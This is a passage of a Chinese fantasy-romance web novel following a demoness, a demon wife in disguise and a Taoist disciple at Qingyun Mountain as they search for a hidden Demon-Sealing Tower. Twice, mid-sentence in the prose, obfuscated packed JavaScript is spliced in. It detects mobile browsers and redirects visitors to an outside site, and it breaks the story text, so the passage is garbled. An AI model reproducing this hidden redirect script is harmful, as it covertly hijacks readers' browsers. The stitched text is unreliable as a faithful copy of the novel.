她翻了个白眼,“别痴人说梦了,世间的男子都一样,什么真心,什么爱情,都不过是哄骗女人付出罢了。你这样的妖我见多了,一把年纪被男人骗得团团转,还不如青楼的妓女,至少人家得了钱财享了痛快,你呢?连自己的身份都不敢说,倒是自欺欺人有一套。” “我和你这种妖没什么好说的,我夫君是何人,也无需辩与你听。” 宋璋看这只妖怪也很是不爽,自以为是,故作老练,大概年轻的时候在人类那里上过几次当,便以为自己是天下最清醒之人,见了哪对爱侣都要抨击,都要怀疑。 她瞥了一眼柳心那身花花绿绿的衣裳,还有一条,故作放浪。 柳心也不是傻子,对于一言不发,但眼神里满是鄙夷的宋璋,她吃了个闷气,两人就这么互相鄙夷着不欢而散。 像是故意似的,在接下来的几个晚上,宋璋每天都能听到楼上木板与床接触的咯吱咯吱的声音,或是男人的低喘,痛苦的呼声,或是柳心那夸张的叫声。 若是直接把人吸干一了百了也就算了,或许碍于长垣,她近来不敢取人性命,只是每人吸一点精气。不知道她对他们说了什么,翌日那些男人出门见到她,无一例外,上前来神色暧昧地勾搭她,弄得她烦不胜烦。 她是没胆子和这只妖正面动手,但不代表她就要咽下这口气。宋璋于是找到了长垣。 “那位柳姑娘的客人实在有些多,隔三差五的新面孔,夜里还发出些奇怪的声响,听得人心里发毛……” 宋璋蹙起眉头,状似害怕道,“青云山本是清修之地,却有如此之事,恐是搅扰仙道,对上不尊。” 长垣是青云山长字派的大弟子,山上许多事物都交由他负责,闻言他皱了皱眉。那位柳姑娘不就是那日被狐妖引诱的那个吗?他还记得她口口声声男女有别,礼教大防之说,却又怎会在东厢做起这种□□之事? 毕竟只是宋璋的一面之词,长垣道,“小道会向柳姑娘问清楚,若此事当真,定会给夫人一个交代。” 宋璋点点头,“道长若不信我的话,今夜子时,道长自来察看便是。” 12. 万妖塔 子时,果不其然,那种声音又响了起来,宋璋吹了灯,拿起拂尘踩着凳子往上捅了两下。 果然,楼上的喘息声更大了。她轻手轻脚地放下拂尘,从凳子上下来,瞥了一眼窗外,一道瘦长的身影远远地伫立在那里,宋璋勾了勾嘴角,爬回了床上,听着伴奏似的娇喘入眠。 清晨的阳光照进屋内,柳心拉开帐子,坐在镜子前,镜中的女子身上虽然遍布红紫的痕迹,却眼含春水,肌肤如玉,整个皮肤上都含着光彩,比昨日美貌更甚。 反倒是那男子,唇色苍白,眼下多了几分乌青,呆呆地走到柳心面前替她梳着头。 柳心瞥了他一眼,有些嫌弃,“你快走吧,别被人看见了。” 男子点了点头,走出门去,一推门,却是长垣冷峻的一张脸出现在眼前。他穿着一身道袍,手持拂尘,就这么定定地看着那男子,直让他觉得自己无处逃遁,羞愧心虚。 “江公子,小道记得你是来为你的新婚妻子祈福,要她消灾解难的。” 那男子小声慌乱道,“道长,不是我,是她……她灌我酒勾引我,我醒来就……” “公子不必与长垣解释,还是留着回去说与夫人听吧。” “那道长您……” “修道之人不问俗事,公子放心便是。” 那男子这才连声道谢,一边飞快地跑下楼逃走。 长垣象征性地敲了两下门,走了进去,女子的身影被一展巨大的屏风遮挡住,金丝赤红芍药在鹅黄薄纱上一层层绽放开来,蝴蝶停留之处,吐出的花蕊之上,隐隐约约可见女子白皙光滑的背脊。 他幽深的目光始终盯在那女子身上,脚步逐渐靠近,镜中那一身灰蓝道袍也逐渐占据整个镜面。 那双微微上挑的精细的眼睛也始终跟随着他,透过镜子,手上依旧梳着一头乌黑的长发,嘴唇却紧抿着显示出了她此刻的紧张。 松竹的香气潮水一般包围了她,她立于海水中心,避无可避。 握紧了手中的木梳,她转过身来,抬眸望着长垣,既像是狐狸,又像是兔子似的,湿漉漉地看着他。 “道长这般闯入可是有什么事?” 屋子里烧着碳火,情欲的气息还未退却,彼此交融着,长垣觉得有些荒诞。也觉得眼前的女子有些可笑。 “柳姑娘以为我来这里做什么?” 都到了这地步,她故作姿态,有何意义? 长垣懒得和她废话,良日苦短,连清修的时间还嫌不够,他不喜欢浪费时间处理这些俗务。 “青云山乃清修之地,贪嗔痴怨要戒,男女情欲更要禁绝。柳姑娘既在山中清修,便不好贪欲□□。既犯贪欲,只好送姑娘下山。” 柳心闻言面色一变,似是戚惶苦楚,漂亮的眸子里蓄满了泪水,“道长别赶我走,我也是别无他法。前日家中来信说夫君病逝,主母定是不肯再接我回去的,连在这里的吃用钱也不肯再出。 我一个妇道人家,肩不能提手不能扛,总要吃饭生活的呀。更别说日后一直把青春葬送在这里,所以我想留条后路。” 长垣的脸色似比方才好了一些,但依旧没松口,“我明白柳姑娘的难处,若在山下,小道自然不敢置喙,亦无权过问。可是在山门,姑娘还是……” “别赶我走!”柳心带了些许哭腔,一把抓住了长垣的衣袖。“我孤身一人,又没处去的,下了山还不知如何下场。我保证,不再做今日之事,绝不会让道长为难,求道长怜悯。” 她没来得及穿外衣,只一身赤红的肚兜,鼓起的胸脯随着动作擦过他的袍袖,长垣皱起了眉头,有些不快。 “并非我有意为难,山中女客众多,也是为她们着想……” 这一说柳心立刻明白过来,是那女人!宋璋!她说怎么好端端长垣到了这来,原来是宋璋干的好事。 她暗中咬牙切齿,脸上却一副歉疚的神情,“我住在阁楼上,定是吓到许多姑娘,我明日便登门致歉,求得他们的原谅。” 长垣的衣袖还攥在她手中,有种不答应她便不罢休的意思,在他停顿思考的功夫,柳心却是更加大胆,直接一个滑跪抱住了他的腿,细长的双臂从他腿间划过,她将头发贴在他袍子上,声音凄楚,带着些许魅惑。 “道长~” 长垣紧绷的面孔此时不□□露出嫌恶之色,拉开了她的手,后退一步,他深吸一口气。 “若姑娘执意留在此处,为青云山做一些琐碎杂事,充当劳力,亦可以养活自己,不知姑娘可否愿意。” 柳心闻言破涕为笑,“愿意愿意,只要道长不赶我走,做什么都行。” “过几日是三清节,明日山上会为十方善信准备粥饭,共贺元始天尊圣诞,届时姑娘来元清斋帮忙即可。” “好,多谢道长。” 三清节是元始天尊圣诞,这一日也是冬至日。来访的善信在前院说笑着用斋饭,青云山的道士与住在这里的自愿加入的修行者都来了元清斋帮忙。一批人洗碗筷,一批人过水擦汗,一批人淘米洗菜,还有一批则在几口大灶前煮粥。 众人的声音时时传来,柳心则被长垣分配到了后厨煮粥,小小的屋子里蒸汽与柴火的味道染了她满身,只有两个小道士和她在这里,相比前院,显得有些冷清。 柳心拿着一只粗厚的木铲在大灶里吃力地搅动着,往逐渐粘稠的粥里加了水,溅到身上的新衣上,她有点想骂人。 长垣那臭道士,一点也不知道什么是怜香惜玉,她特地穿了一身新衣裳,早起打扮,她这种美人不合该在前院招待信众的么?再不济,也该是刷碗施粥,让她在这里烧火煮饭,算什么? 许是看出了柳心的不耐,坐在灶前烧火的明悟伸了个懒腰,拍拍手站了起来,与她说笑。 “柳姑娘也歇一会儿吧,已经熬了两锅粥,上午的够了。我坐在这里汗都出来了,更别说姑娘了。” 明均将粥桶摆放整齐,交给了来拿去前院的小弟子,也甩了甩手臂, “是啊,歇会儿吧,这儿就我们三个人,他们洗一个碗都要三个人分工,累死我们了都要。” “每个刚入门的新弟子都要做这些的,长垣师兄说这是也是修炼的一种,你就别抱怨了。” 明均哼了哼,“站着说话不腰疼,长垣师兄是老弟子了,论资排辈,没人老得过他,自然不用干活。我们在这里忙活,他倒不见踪影。” 明悟道,“许是修炼去了吧,我听师兄说他每天都要去竹林的溪石上打坐修炼,从天刚亮起到晚上,若是无人打扰,可以一直坐到月亮出来。不愧是赤练道长的关门弟子。” 明悟觉得很是新奇,也有些敬仰。明均哂笑一声,“什么关门弟子,赤练道长五十岁收徒,还没教他半年就被那大妖杀死了。要不是他的师兄们都牺牲在那场大战中,哪轮得到他管理青云山? 何况他这么潜心修炼也没用,一来太平盛世已经没有妖,二来虽说他是赤练道长的弟子,可赤练已经死了,掌门是他的师弟赤峰道长,赤峰掌门手下又有许多得意弟子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056239|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位子定然是留给他们中的一个。长垣师兄这个师兄恐怕要做到老了……” 柳心停下了手里的动作,盖上锅盖,也走来与他们坐在一张小桌上。 “什么大战?我在东流县这么多年怎么从未听说过?” 柳心生得貌美,说话的声音细软动听,两个小道士对她都很有好感。于是道,“这事儿是门内密事,又涉及赤练道长的声誉,所以不曾流传出去,所以姑娘不知道。” “我绝不说出去的。”柳心保证道。 明均看着柳心那双美眸盯着自己,喝了一口茶,“其实我也是听师兄们说了个大概,赤练道长下山修行时遇见个可怜的女子,将她带回山门收为弟子,后来不知道怎么竟变成了妖怪,一直潜伏在山门里。趁着众人都放下戒备,操纵赤练交出钥匙偷了青云图要逃,赤练和门下弟子追踪过去,那女妖妖性大涨,杀死了所有同门师兄。 赤练道长自知是自己酿成大祸,于是用尽毕生修为化作一架万妖塔,将女妖关进塔内,这才结束了这场祸事。但不久,也因灵力耗尽仙逝离去。” 柳心道,“那又怎么涉及到赤练的声誉了?” 明均笑了笑,低声道,“因为那女妖是魅妖。” 柳心握着茶杯的手顿了顿,“魅妖是什么?” “魅妖天生淫邪,能蛊惑人心,靠淫邪欲望操纵人心。当时那女弟子能操纵赤练拿到了青云图,药力大涨,说明……” “说明赤练动了情。” 柳心抢答道。 魅妖生有魅丝,可操纵人心是不错,可要有一个前提,便是那人对魅妖生出情意,哪怕只有一丝一缕,法力高强的魅妖也能抓住这一丝情意,将魅丝伸进去,与之交缠,编织出情网,让此人沦为魅妖的提线木偶,唯命是从。 赤练既是法术高强的大道士,魅妖对寻常人的这一套就难以蛊惑他,除非他对魅妖生出了情意…… “再后来呢?大战之后……” “由于此次山门弟子被魅妖杀了大半,损失惨重,赤练长老临死前嘱咐长老们,妖之为妖,本性恶毒,不可动恻隐之心,一旦发现,当尽数诛杀。在他死后,长老们便合力将方圆千里的妖杀的杀抓的抓,都关进了万妖塔中。妖类闻风逃窜,东流县也就再没出现过妖邪了。” 柳心低头思索着,原来是这样,这死老头自己生出邪念被灭了,所以恼羞成怒,要把天下的妖都灭了。 “可是我在山上并未见过什么塔呀,真有这万妖塔吗?” 明均道,“姑娘自然看不到,赤峰长老在竹……” “赤峰长老将此事设为禁忌,不许弟子们提起,也不许我们涉足。我们这些新入门的弟子也不知道在哪里呢。” 明悟扯了扯明均的衣袖,这个大漏勺,嘴里没个把门的。 “万妖塔在哪儿?”柳心显得兴致勃勃,被骤然打断抓心挠肝似的,她拉过凳子坐到了明均身旁,“哎呀道长,你说吧,我又不会说出去,说呀……” 幽幽的香气侵入明均与明悟鼻尖,眼前的肌肤白得像天上的云,轻薄,缥缈,柔软无骨似的,飘到了他的衣袖上。 这朵飘忽的云便有了承托,温热的感觉隔着布料传递过来,他们全身都仿佛被云层穿透,沐浴在柔光之中…… “道长,说呀……” “说呀……” 明悟缓缓张开了口,“万妖塔在……” 吱呀一声,冷风骤然吹得两人一激灵,明悟和明均楞楞的,看向了走进门的长垣。 13. 无法衣 长垣的目光落在柳心搭在明均衣袖上的手,眸色冷了下来。冥顽不灵,屡教不改,这女子果真是…… “师兄,有什么事吗?” 柳心已经不经意间收回了手,明均脸色泛着微红。 “前面人手不够,柳姑娘随我去帮忙送粥吧。” 柳心笑了笑,“这里人手更不够呢,我走了就剩两位小道长……” 在触及长垣那冰冷的目光时,柳心见好就收地闭上了嘴。 “走吧,道长。” 柳心在后面跟着,穿过长廊,七扭八歪的影子倒映在长垣脚下,像一支飘摇的柳条,她手上的几只银镯随着动作叮当作响,长垣忽然停了下来。 柳心蓦然撞到他背上,险些踩掉了他鞋。 莫名地看着长垣,他转过身道,“我记得昨日与姑娘说过,可以劳动换取食用,不可不劳而获,以色事人。” “我知道啊,我也没干什么啊。”柳心确定长垣进来的时候没有发现异样。 “你拉明均的手,还对他笑……” “明均小道长手上沾了粥米,我不过想替他挽袖罢了,至于笑,道长,笑也不可以吗?” 面对眼前这女子的伶牙俐齿,长垣没再与她分辨,只是给她下了命令。 “下回别再穿这种艳丽衣衫,那几只镯子也是,都放回去,走路需正,不要东倒西歪。” 柳心默默翻了个白眼,面上带着假笑。她爱穿什么穿什么,臭道士。 长垣将她带到了前院,十几张大桌子前围着数十人分发粥碗并小菜,许是故意搓她的锐气,长垣将她插进了宋璋那里。 “真是冤家路窄。”柳心哼了一声。 宋璋微笑,“柳姑娘近日倒是勤快,又是厨房里烧火又来前面发粥。” 柳心被戳中痛处,脸色一黑,“长垣那个臭道士,竟敢威胁我,要不是这里人多精气又纯,老娘才不在这儿待着。” “我说你最近还是收敛点吧,顶风作案,可不甚高明。” 柳心阴阳怪气扫了她一眼,“哟,我们舒夫人倒是菩萨心肠,天底下还没见过不吃人反倒放自己的血给人的妖怪。舒夫人可不是比我们境界都要高么?” “狗咬吕洞宾。” “用不着你假心假情,我要是被发现了,你也逃不掉。”柳心时刻不忘威胁她,哼着声背过去给人送粥,宋璋没理她,自做自事。 过了一会儿,她就发现柳心不见了。 她并不在乎她作死不作死,但是她怕牵扯出她,因此她还是跟了上去。 通往后院要绕过一个小回廊,不久前廊上还缠满了一串串的紫藤萝,一场雪后只剩下干枯的褐色藤叶伴着皑皑白雪。湖面结了一层薄薄的冰,明均坐在栏上伏着身子撒手里的馒头屑,一个小窟窿里流淌着活水,鱼儿摆尾摇首荡起阵阵涟漪。 柳心的衣裳是红色鲛纱衣,红光笼罩着玉白的肌肤,一条紫衣带系着的是极瘦的腰肢。扭啊扭啊,那条红纱便像鲛人的尾巴在水中摇摆前进着,游进了明悟眼底的池水中。 这团红色将薄冰融化,转移到了明悟的脸上。 “明悟道长,我的帕子好像落下了,你看见了吗?” 她的领口大开,红色衬着白色的肌肤,蒸乳酪似的,明悟的目光不敢直视她,“好像在厨房的桌子上。” “我不太记得回去的路了,不知道长可否带我去?” 柳心的声音像一支羽毛勾动明悟的心,痒痒的,轻轻的。 她暗暗伸出魅丝勾住了明悟的脚,他正要起身忽然被绊倒,柳心慌忙去拉他,一个不慎,两人双双跌落水中。 长垣看到的就是两人湿漉漉地交缠在水中的样子,他皱紧了眉头,显然流露出不快。 “你们在做什么?” 明悟看见长垣,陡然退开一步。 “明悟道长不慎摔下去,我拉他上来。” 长垣没看她,板着脸对明悟道:“后院这么忙还在这喂鱼,快过去吧。” 明悟匆匆往后院跑去,只留下柳心一人,暗暗白了长垣一眼,扭着腰也要回去。 一件带着松竹气息的道袍落在了她身上,她回过头错愕地看着长垣。 “清修之地,还请柳姑娘端正仪态。” 柳心见他目光落在自己身上,笑了笑,手上将那道袍脱了下来,扔在地上。她昂着头看他,神色中尽是挑衅。 长垣俯身捡起又披回了她身上。 刚刚披上的道袍再一次落下,没等长垣弯腰,她湿漉漉的绣鞋踩在了袍子上,留下一道深色的印子,泥沙污浊在清洗得平滑干净的灰袍上格外醒目。 长垣却仍旧抓住了袍角,松垮的布被拉得笔直,柳心垂眸,踩着袍子往后用力一扯,呲啦一声,整件衣裳落进了水里。长垣手中拿着一片残布,抬头看着柳心。 她对他微微一笑,“虽是道观之内,一草一木也自有其自由。还请道长自便。” 妖怪与人不同,她天性体热,旁人以为极冷的季节她却觉得刚刚好,穿得太多只觉得负累,还轮不到长垣那个道士对她指指点点。 今日她看那明悟已经有了些许情意,只要再一次,她就可以操纵他问出万妖塔的下落。她走着走着,忽而有些头晕,扶助了树干,她停了下来。这几天没吸够精气,身体开始不适应了,不行,得赶紧找个人饱食一顿。 前方竹林有些响动,她抬眼看去,却是一个小少年,手里拿着一个食盒,在竹林中徘徊,似乎迷了路。 她勾了勾嘴角,好纯正的精气,散了散头发,她微微蹙着眉走上前去。 “小公子,你知道东厢怎么走么?” 福官看了来人,却是一个浑身湿透的女子,雪白的一片在红色纱衣下格外亮眼,双眉微蹙,状似可怜,但他一眼就看出了那双眸子里藏着的妖异。 “不知道,我是上山送米的,你问别人吧。” 柳心自然看出他穿着不过是下人,正是这种血气方刚又出身卑贱的男人有着野兽般的□□,一眼就能用魅术操纵他。她没想到,这小少年却是这般冷漠,甚至还带着些许厌恶。 一连被打扰,她有些不耐,强行发动了魅术,“小公子,这里没有别人,还请你带我找找路吧......” 一种奇妙的声音钻进了福官耳中,他的身体缓缓停在了原地,眼神开始涣散。 “他不认路,我带你回去。” 宋璋的声音让福官微微颤动了一下,他肩上多了一只修长白皙的手,抬头望去,宋璋正冷冷看着对面那个女人,看向他时目光转为柔和。 她将手里一件青色的衣裳放到了他手中。 “夫人?”福官愣了愣。 “给二爷做了件衣裳,方才忘了交给你,一并带回去吧。” 他垂下眸子应了声是,宋璋道:“从这儿往南走,看到大殿再往北走就是下山的路,我给二爷的信别丢了,路上仔细点。” 看着福官走远,宋璋看着抱臂看着她的柳心,两人俱是冷下脸来。 “你还在这是想祸害谁?” “姑奶奶祸害谁你管得着吗?舒夫人,你再敢坏我的事我不介意把你是妖的事告诉整个青云山的道士。” “别人我不管,那个孩子是我的人。”福官奉命来给她送东西,都是明儿嘱咐带来的吃食衣裳并一些胭脂水粉膏子,她便写了一封家书让他带去给舒玄礼寄过去,人走了没一会儿,忽然想起衣裳还没带去,便赶了来,正撞见柳心对他使魅术的这一幕。 “不说我是不是妖,柳姑娘也别忘了自己的身份。” 柳心嗤笑一声,“你告诉他们我不过换个地方待着,你可不一样,他们知道了定然会告诉你夫君,到时你既不会用法术,你夫君也不会救你,叫天天不应,叫地地不灵。我可不会来帮你。” 虽然很想反驳,宋璋还是闭了嘴,她的确不能和这女妖现在翻脸。她忍...... 柳心见她不说话,因笑道:“怎么不说了?一说到你夫君你就这样,倒真让我开始好奇,他到底长什么样子,是个什么样的人。” “他是我的。”宋璋立刻瞪起了眼睛。 仿佛找到了逗弄小猫的诀窍,柳心道: “现在是,以后可以不一定。听说他是去春闱的举子,你又说他这么有才,这么好,真要是考中了,京城名门贵女何其多,万一相中你夫君,拉他结亲,他肯定会答应的。不知要答应,而且还要想办法除掉你,那些话本都这么写,为了功名利禄谋害发妻......这种男人我见多了,越是一本正经,高洁端方,越是......” 眼看着周围的竹叶开始枯黄坠落,脚下青绿陡然转暗,柳心的话戛然而止,她的身体感到有些难受,压抑、沉闷,仿佛周身的空气被抽干,置身炉火之中,她渐渐喘不过气来,扶着竹子踉跄了一步。 这股力量...她抬眸看向眼前神情淡漠却双手紧握的女子,脑中恍若雷击,“你...你到底是什么东西?” 灼热从脚心传来,空气中开始传来焦灼的气味,柳心惊慌地发现,他们周围燃烧了起来。 她迈着沉重的脚步去拉宋璋,“停,停下!我是胡说的,你清醒点!” “宋娘子!舒夫人!” 然而宋璋却像被人提取了意识,沉浸在一股滔天的妒火之中,舒玄礼娶了别人......他的那张脸,眼睛、鼻子、嘴唇,他身体的一切都该属于她,若为别人染指,若他的心给了别人,那便一起毁灭,一起烧死在炽烈的火焰之中...... 叮铃铃~ 长垣耳边忽然传来一阵铃响,他睁开眼,立刻从水中飞身上岸,望着不远处升起的浓烟,他心中警觉起来——阵法松动了。 正当柳心以为自己会被烧死在竹林里时朦朦胧胧听见一声铃响,有什么东西碎裂开来,接着便见宋璋身体一颤,嘴角沁出一道黑血。她眼神渐渐平和下来,倒在了地上。 身上强烈的压迫感陡然离散,柳心咳嗽着一边要离开,抬起头时却愣在了原地。 烈烈火光之中,那焦枯的竹林之上隐约显现出一座高塔。那是……万妖塔? 长垣赶到林中时,只有熊熊大火,他使了避火诀进去,果然见原先的阵法裂了一片角,铃铛半挂在竹林尖端,红色缎带已被烧得蜷曲。 他立即起势作法,一炷香后周围的火才渐渐灭了,方才被烧死的竹子又变回了青色。 长垣的额头渗出几颗汗珠,脸色有些苍白。他扶着膝缓缓起身,神情比来之前更为严肃。 这火不是普通的火,他闻到了一股浓重的味道,是妖……还有妖潜藏在青云山,或者说当初那只妖根本就没死…… 氤氲的水汽弥漫在屋内,却是一桶冰凉的夹杂着冰块的溪水。宋璋刚从附近的小溪里打来的,用以治疗柳心的灼伤。 柳心整个肩膀被宋璋牢牢按住,她瞪着宋璋,比平日都要凶狠。 “放开我!” “长垣现在在那里,你去就是送死。” “用不着你管。” “我也不想管,可你被抓了难保不会供出我,所以我们还是都安心待着吧。” “谁要和你安心待着,你放开我!” 柳心的手上生出了长长的指甲,脸上也隐约显现出淡紫色的血丝,她警告道:“再不放开别怪我不客气。” 虽然自己受了伤,但宋璋显然不能操控她的这股神秘力量,对付宋璋绰绰有余。 宋璋问:“你去那里做什么?”她记得那道风铃的声音,结界碎裂之后,隐约出现了那座高塔,她从未见过。柳心要去竹林显然与那座塔有关。 柳心恶狠狠看着她,“知道得越多,死得越快。” 门外忽然传来敲门的声音,宋璋和柳心对视一眼,安静下来。 是长垣的声音,“宋娘子。” 宋璋道:“道长有什么事吗?” “明悟他们做了些柿饼,我给大家送来。” “我身体有些不舒服,劳烦道长放在门口吧。” “方才竹林有贼人纵火,娘子没什么事吧?” 长垣的声音近在咫尺,柳心此刻心中砰砰地跳着,宋璋看着她低声威胁道:“你去竹林做什么?” 柳心瞪着她,宋璋低头有意扫了她一眼,她现在的状态一看就能被发现是妖,怕是没等找到那座塔就被长垣关进去了。 柳心咬着嘴唇,还是说出了实话,“我弟弟被关在塔里,我要去救他。” “你弟弟......” 还没等宋璋说完,她脸色一变,抽出衣带跳进了水里。 大门骤然破开,疾风吹开了半掩着的帘子,几件衣裳胡乱堆在地上,女子鬓发散乱,露出半只雪白的臂膀,脸色惊慌又愤怒地看着长垣。 “赵道长,你这是做什么?” 长垣面对宋璋的愤怒,仍旧先扫过一眼,而后低下目光,“娘子恕罪,因方才竹林有贼人纵火,娘子又在此刻紧闭房门,长垣以为是有贼人劫持,所以......” “那道长可看仔细了,我这里可是藏了贼人?” 长垣没抬眼,却是闻到了一股血腥的味道,他目光落在了浴桶前带血的衣物上。“夫人衣裳上的血迹从何而来?” 宋璋心中一紧,那是方才为柳心脱下的里衣。 手心被攥紧,她面上却冷笑,“道长以为女子身上的血会从何而来?可要我现在出来证明给道长看?” 长垣仍不放心,看了一眼宋璋,直到她当真作势起身才告罪了一声走了出去。 长垣刚走,柳心就从水底钻了出来,她靠在浴缸上和宋璋对坐,一边骂道:“长垣这个臭道士,没完没了的,要不是他穿着无法衣,我第一个把他的精气吸干净。” “他虽然呆板了些,罪不至此。” 不过这从小修炼的人就是不一般,别的弟子见到她这样早就脸红了,唯独长垣似乎万事不过心,对一切都是淡淡的,都不像俗世中人了。 宋璋从水里出来,走到屏风后换上了一身干衣,又生了炉火,这才走到柳心身旁坐下。 “你刚刚说你要找你弟弟,你还有弟弟呢?” 柳心白了她一眼,“我不能有弟弟?我们妖又不是石头缝里蹦出来的。” 宋璋淡淡笑了笑,“那你弟弟怎么会在结界里?” “十年前他在青云山附近玩,被山上该死的臭道士抓进了万妖塔。我修炼这么久好容易有了百年的功力,这次来就是为了救他出去。” “难怪长垣盯着你还要顶风作案......”宋璋了然道,“那你现在看到万妖塔了,经过此次,长垣他们肯定会加强结界,你要怎么进去呢?” 上次撞破结界不过是误打误撞,总不能再烧一次竹林。 “我也不知道,再看吧。” 夜半时分,柳心再一次去了竹林。她知道这里有着怎样的危险,但是她不想再等。在知道万妖塔的所在之前,她可以慢慢等,慢慢修炼,但是真的看到它,她就会想到柳言在里面是什么样子,有没有人欺负他,会不会他已经死了?见到她的时候,他会是什么样子...... 她不能再等下去了,她想立刻见到他。 柳心抬起头看了看竹林顶端,什么也没有,连个铃铛的影子也没见到。她又看了看四周,都是一模一样的竹子,疏密程度、高矮程度都几乎一样,根本无法分辨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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依照明悟所说,她转动了那三颗大石,果然闪着金光的结界再度显现,柳心看着里面那座高塔,深吸一口气运气至胸口,朝着结界破去。那道金色的屏障猛然晃了晃,但接着又稳定下来,并没有出现一丝一毫的裂纹。柳心皱了皱眉,这结界果然是比之前加固了,她闭上眼,调动了妖丹,将妖气全部散发出来,凝结于指尖,猛然袭击而去。 手背接触到结界边缘时那屏障上竟然生出火光来,她的手背被烈焰灼烧,甚至顺着她的手蔓延开来,仿佛将她当作了燃料,要将她牢牢吸附在边缘融化进结界之中。 她咬紧了牙关,不行,都已经到了这里,她便要用尽力气试开这结界。 紫红色的烟混合着明黄的火焰在柳心身上燃烧着,她脸色苍白,一头红发也开始蜷曲,浓烈的香气在整个竹林飘散开来。 烫!好烫! 她受不了了,炽热的火焰在身上,仿佛将她的每一寸肌肤炙烤着,她仿佛听见油脂爆裂的筚拨声,尸油与结界融化为一体,她会被它吸附进去...... 这结界罩...竟是饕餮皮做的。 一盆水整个浇在了她身上,结界与她手上相连处发出滋啦一声,她讶异地看着眼前的人。 宋璋从溪边捧来的那一抔水总算起了些作用,手背总算灭了,只是柳心上臂的火苗仍在烧着,结界像蛇一样吐出信子与火苗交缠,有蔓延之势。 这结界...什么玩意儿? 宋璋沉着脸骂了一声,柳心道:“是饕餮皮做的结界,别白费力气了,你回.....” 话没说话,便见宋璋头也不回地跑了出去。柳心张了张口,转过头来,重又燃起了斗志,赵长垣那个死道士,竟然想出这招对她,她今天就算是拚了这颗妖丹,烧了整座青云山也要破开这结界,把万妖塔打开! 她定了定神,汇聚全身力气至于妖丹,柳心的身体发出了紫红色的光焰,与结界上的火交缠着,又仿佛在决斗。 今日不是她死就是这破结界...... 一具冰凉柔软的身体贴了上来,为她抵挡住整面火墙,她怔怔抬起头,眸子狠狠颤动了一下。 宋璋那张脸即使在火光下也更显出惨白,额上水珠一滴一滴落在肩上的氅衣上,乌黑的头发在烈焰中开始蜷曲发红,她像雌鹰一样张开厚重浸满冰水的氅衣将柳心抱住,滴答滴答,水滴渗入地底。 “你疯了?饕餮皮会吸食妖身,走开!” 柳心推拒着眼前的女子,并不想把她牵扯进来。 “闭嘴。”宋璋紧紧抱住她,一面脚抵在结界上用力试图摆脱这火焰的控制。“我没那个好心跟你死在一块,试试罢了。” 柳心正要说什么,感受到她身上的紫红色的火苗渐渐熄灭,宋璋身后的火墙也渐渐黯淡下来,恢复了原样。 竹林之中,一切又重归黑暗。黑暗之中的平静,柳心和宋璋半靠在竹子上,看着月光斜照在手臂上,感到一种安稳的冰凉,如水的平静,远比如火的炙烈更为珍贵。 她目光落在黑暗处,妖是能看见夜里的一切的,白天黑夜对她而言没有什么分别,但她还是看在那里,似乎真的看见了所谓漆黑一团。她能闻到身边清凉的冷气,混合着流过光滑圆润的石头,飘过石态的溪水的味道,还有月光沉淀的气息,竟然觉得像包裹着的被子一样,让她感到安心。 “为什么帮我?” “是帮你弟弟。”宋璋道,“我也有个弟弟,小时候被拐子拐走了。想找都没处寻。” 她抬头看了看天上的月亮,淡黄的圆月中带着灰色的影子,看不清楚是什么。 “找了多久了?再找找就能找到了。” “十一年了,他七岁的时候就走丢了……是我害了他。” 柳心道,“和你有什么关系?” “我娘说算命先生说我一生命中带煞,自己越是安稳,旁人越是倒霉,越是亲近之人,越是被煞气相克。 我父母早亡,弟弟走散,从前不信,现在是不得不信了。” 柳心撇撇嘴,“江湖骗子,算什么?我和你挨得这么近,不也没事吗?也没见我倒霉了。” 啪嗒,柳心感到头顶有什么东西在蠕动,抬了抬眼,一条青色的小蛇伸着脖子与她四目相对。 “啊啊啊啊啊!什么啊!” 柳心一步跳开几米远,将头上的蛇抓着脖子丢开来。 她抽了抽嘴角,还真是话不经念啊…… 宋璋看着她,那条小蛇似乎受伤似的,慢慢地爬到了她的身上,伏在她怀中闭上了眼睛。 一时间有些沉默,柳心咳了咳,“我的意思是你应该多找几个人四面八方去找你弟弟才是,这跟运气没什么关系,事在人为。 你那个夫君不是很厉害吗,让他帮你去找,你们肯定很快就能团圆的。” “不说这个了,你接下来有什么打算?” “打算……打开结界的钥匙在长垣身上,自然只能找他拿。” “这东西这么重要,他可不会轻易交出来。” “所以要偷。” 宋璋看了她一眼,柳心笑道,“反正我自有办法。” “小心点,他这种道士和青云山那些小弟子可不一样,无心无情,只有道术。你那套可别想用在他身上。” “我知道,他身上有無法衣。” “無法衣?” “無法衣可以避绝邪祟,寻常妖物根本不能拿他如何,我的魅丝根本进不去他体内。这种神物居然穿在他身上,恐怕是他那个死去的老师父给他的。” 宋璋觉得实施起来更困难了,“那你打也打不过,偷可怎么偷呢?即便能偷,你也不知道钥匙在哪儿。” 柳心想了想,这种东西即便问了明悟也不会知道,除了长垣自己,应当没有人能说出钥匙所在。 “再看吧,我今晚先去探探虚实。” 14. 喜欢 长垣的屋子极为素淡,木质家具一应光溜溜的什么也不放,收拢在柜子里。柳心从窗边翻了进去,屋内一盏巨大的灯架上点了五六只蜡烛。隔着一架墨竹屏风,隐约有水汽一阵一阵飘来,扑在她脸上。 一阵脚步声传来,避无可避,她心中一惊,变成了一只火红的狐狸钻进了浴桶旁的柜子里。 隔着缝隙,她看见长垣拎着一桶热水走了进来,将水倒进浴桶中,他挽起袖子,露出一条白嫩的手臂,发力之处微微鼓起,青筋似一条青蛇蔓延而下。 探了探水温,他扫视了一周,才开始解开腰带。 脱下了那层宽大的灰色道袍,接着是夹袄,里衣,抱腹…… 